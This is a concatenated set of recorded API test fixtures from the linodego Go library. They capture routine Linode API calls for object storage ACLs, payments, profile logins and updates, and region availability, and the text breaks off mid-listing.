TestObjectStorageObject_ACLConfig_Bucket_Put.yaml000066400000000000000000000011731455402072200360360ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: testing123 form: {} headers: Content-Type: - text/plain url: https://us-east-1.linodeobjects.com:443/go-bucket-test-def/test?Signature=M4GM6gGRUcDpffPBEO27YY1G6DA%3D&Expires=1679683243&AWSAccessKeyID=SANITIZED method: PUT response: body: "" headers: Accept-Ranges: - bytes Connection: - keep-alive Content-Length: - "0" Etag: - '"7f2ababa423061c509f4923dd04b6cf1"' X-Amz-Request-Id: - tx0000019f3abcb31592798-00641ded44-40f62f66-default status: 200 OK code: 200 duration: "" TestObjectStorageObject_ACLConfig_Update.yaml000066400000000000000000000276461455402072200352300ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"cluster":"us-east-1","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "176" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"name":"test","method":"PUT","content_type":"text/plain","expires_in":360}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-url method: POST response: body: '{"url": "https://us-east-1.linodeobjects.com:443/go-bucket-test-def/test?Signature=M4GM6gGRUcDpffPBEO27YY1G6DA%3D&Expires=1679683243&AWSAccessKeyID=SANITIZED", "exists": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "187" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-acl?name=test method: GET response: body: '{"acl": "private", "acl_xml": "fa25bc43-2cb0-43c7-b8bd-994243d8a697fa25bc43-2cb0-43c7-b8bd-994243d8a697fa25bc43-2cb0-43c7-b8bd-994243d8a697fa25bc43-2cb0-43c7-b8bd-994243d8a697FULL_CONTROL"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"name":"test","acl":"public-read"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-acl method: PUT response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-acl?name=test method: GET response: body: '{"acl": "public-read", "acl_xml": "fa25bc43-2cb0-43c7-b8bd-994243d8a697fa25bc43-2cb0-43c7-b8bd-994243d8a697http://acs.amazonaws.com/groups/global/AllUsersREADfa25bc43-2cb0-43c7-b8bd-994243d8a697fa25bc43-2cb0-43c7-b8bd-994243d8a697FULL_CONTROL"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "750" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"name":"test","method":"DELETE","expires_in":360}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-url method: POST response: body: '{"url": "https://us-east-1.linodeobjects.com:443/go-bucket-test-def/test?Signature=IdxQQkAugjpkQaXy6oLtekSeJGU%3D&Expires=1679683246&AWSAccessKeyID=SANITIZED", "exists": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "186" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestObjectStorage_transfer.yaml000066400000000000000000000027451455402072200327460ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/transfer method: GET response: body: '{"used": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "11" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestPayment_GetFound.yaml000066400000000000000000000033421455402072200315110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/payments method: GET response: body: '{"data": [{"id": 12065587, "date": "2018-01-02T03:04:05", "usd": 25.0}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "109" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestPayment_GetMissing.yaml000066400000000000000000000020771455402072200320530ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/payments/-1 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestPayments_List.yaml000066400000000000000000000033421455402072200310740ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/payments method: GET response: body: '{"data": [{"id": 12065587, "date": "2018-01-02T03:04:05", "usd": 25.0}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "109" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestProfileLogins_List.yaml000066400000000000000000000075341455402072200320570ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/logins method: GET response: body: '{"data": [{"id": 1563948056, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1563982298, "datetime": "2018-01-02T03:04:05", "ip": "24.63.69.52", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1564542275, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "failed", "restricted": false}, {"id": 1564542300, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1564542307, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}], "page": 1, "pages": 1, "results": 5}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "878" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/logins/1563948056 method: GET response: body: '{"id": 1563948056, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "170" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestProfile_Get.yaml000066400000000000000000000035571455402072200305100ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile method: GET response: body: '{"uid": 1989601, "username": "lgarber-dev", "email": "REDACTED", "verified_phone_number": null, "timezone": "GMT", "email_notifications": false, "referrals": {"code": "", "url": "", "total": 0, "completed": 0, "pending": 0, "credit": 0}, "ip_whitelist_enabled": false, "lish_auth_method": "password_keys", "authorized_keys": null, "two_factor_auth": true, "restricted": false, "authentication_type": "password"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "421" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestProfile_Update.yaml000066400000000000000000000074651455402072200312150ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile method: GET response: body: '{"uid": 1989601, "username": "lgarber-dev", "email": "REDACTED", "verified_phone_number": null, "timezone": "GMT", "email_notifications": false, "referrals": {"code": "", "url": "", "total": 0, "completed": 0, "pending": 0, "credit": 0}, "ip_whitelist_enabled": false, "lish_auth_method": "password_keys", "authorized_keys": null, "two_factor_auth": true, "restricted": false, "authentication_type": "password"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "421" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"email":"REDACTED","timezone":"GMT","email_notifications":false,"ip_whitelist_enabled":false,"lish_auth_method":"password_keys","authorized_keys":[],"two_factor_auth":true,"restricted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile method: PUT response: body: '{"uid": 1989601, "username": "lgarber-dev", "email": "REDACTED", "verified_phone_number": null, "timezone": "GMT", "email_notifications": false, "referrals": {"code": "", "url": "", "total": 0, "completed": 0, "pending": 0, "credit": 0}, "ip_whitelist_enabled": false, "lish_auth_method": "password_keys", "authorized_keys": null, "two_factor_auth": true, "restricted": false, "authentication_type": "password"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "421" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestRegionsAvailability_List.yaml000066400000000000000000000637101455402072200332420ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability method: GET response: body: '{"data": [{"region": "us-central", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "us-central", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "us-central", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "us-central", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "us-central", "plan": "premium131072.7", "available": false}, {"region": "us-central", "plan": "premium16384.7", "available": false}, {"region": "us-central", "plan": "premium262144.7", "available": false}, {"region": "us-central", "plan": "premium32768.7", "available": false}, {"region": "us-central", "plan": "premium4096.7", "available": false}, {"region": "us-central", "plan": "premium524288.7", "available": false}, {"region": "us-central", "plan": "premium65536.7", "available": false}, {"region": "us-central", "plan": "premium8192.7", "available": false}, {"region": "us-central", "plan": "premium98304.7", "available": false}, {"region": "us-west", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "us-west", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "us-west", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "us-west", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "us-west", "plan": "premium131072.7", "available": false}, {"region": "us-west", "plan": "premium16384.7", "available": false}, {"region": "us-west", "plan": "premium262144.7", "available": false}, {"region": "us-west", "plan": "premium32768.7", "available": false}, {"region": "us-west", "plan": "premium4096.7", "available": false}, {"region": "us-west", "plan": "premium524288.7", "available": false}, {"region": "us-west", "plan": "premium65536.7", "available": false}, {"region": "us-west", "plan": "premium8192.7", "available": false}, {"region": "us-west", "plan": "premium98304.7", "available": false}, {"region": "us-southeast", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "us-southeast", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "us-southeast", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "us-southeast", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "us-southeast", "plan": "premium131072.7", "available": false}, {"region": "us-southeast", "plan": "premium16384.7", "available": false}, {"region": "us-southeast", "plan": "premium262144.7", "available": false}, {"region": "us-southeast", "plan": "premium32768.7", "available": false}, {"region": "us-southeast", "plan": "premium4096.7", "available": false}, {"region": "us-southeast", "plan": "premium524288.7", "available": false}, {"region": "us-southeast", "plan": "premium65536.7", "available": false}, {"region": "us-southeast", "plan": "premium8192.7", "available": false}, {"region": "us-southeast", "plan": "premium98304.7", "available": false}, {"region": "us-east", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "us-east", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "us-east", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "us-east", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "us-east", "plan": "premium131072.7", "available": false}, {"region": "us-east", "plan": "premium16384.7", "available": false}, {"region": "us-east", "plan": "premium262144.7", "available": false}, {"region": "us-east", "plan": "premium32768.7", "available": false}, {"region": "us-east", "plan": "premium4096.7", "available": false}, {"region": "us-east", "plan": "premium524288.7", "available": false}, {"region": "us-east", "plan": "premium65536.7", "available": false}, {"region": "us-east", "plan": "premium8192.7", "available": false}, {"region": "us-east", "plan": "premium98304.7", "available": false}, {"region": "eu-west", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "eu-west", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "eu-west", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "eu-west", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "eu-west", "plan": "premium131072.7", "available": false}, {"region": "eu-west", "plan": "premium16384.7", "available": false}, {"region": "eu-west", "plan": "premium262144.7", "available": false}, {"region": "eu-west", "plan": "premium32768.7", "available": false}, {"region": "eu-west", "plan": "premium4096.7", "available": false}, {"region": "eu-west", "plan": "premium524288.7", "available": false}, {"region": "eu-west", "plan": "premium65536.7", "available": false}, {"region": "eu-west", "plan": "premium8192.7", "available": false}, {"region": "eu-west", "plan": "premium98304.7", "available": false}, {"region": "ap-south", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "ap-south", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "ap-south", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "ap-south", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "ap-south", "plan": "premium131072.7", "available": false}, {"region": "ap-south", "plan": "premium16384.7", "available": false}, {"region": "ap-south", "plan": "premium262144.7", "available": false}, {"region": "ap-south", "plan": "premium32768.7", "available": false}, {"region": "ap-south", "plan": "premium4096.7", "available": false}, {"region": "ap-south", "plan": "premium524288.7", "available": false}, {"region": "ap-south", "plan": "premium65536.7", "available": false}, {"region": "ap-south", "plan": "premium8192.7", "available": false}, {"region": "ap-south", "plan": "premium98304.7", "available": false}, {"region": "eu-central", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "eu-central", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "eu-central", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "eu-central", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "eu-central", "plan": "premium131072.7", "available": false}, {"region": "eu-central", "plan": "premium16384.7", "available": false}, {"region": "eu-central", "plan": "premium262144.7", "available": false}, {"region": "eu-central", "plan": "premium32768.7", "available": false}, {"region": "eu-central", "plan": "premium4096.7", "available": false}, {"region": "eu-central", "plan": "premium524288.7", "available": false}, {"region": "eu-central", "plan": "premium65536.7", "available": false}, {"region": "eu-central", "plan": "premium8192.7", "available": false}, {"region": "eu-central", "plan": "premium98304.7", "available": false}, {"region": "ap-west", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "ap-west", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "ap-west", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "ap-west", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "ap-west", "plan": "premium131072.7", "available": false}, {"region": "ap-west", "plan": "premium16384.7", "available": false}, {"region": "ap-west", "plan": "premium262144.7", "available": false}, {"region": "ap-west", "plan": "premium32768.7", "available": false}, {"region": "ap-west", "plan": "premium4096.7", "available": false}], "page": 1, "pages": 3, "results": 299}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=2 method: GET response: body: '{"data": [{"region": "ap-west", "plan": "premium524288.7", "available": false}, {"region": "ap-west", "plan": "premium65536.7", "available": false}, {"region": "ap-west", "plan": "premium8192.7", "available": false}, {"region": "ap-west", "plan": "premium98304.7", "available": false}, {"region": "ca-central", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "ca-central", "plan": 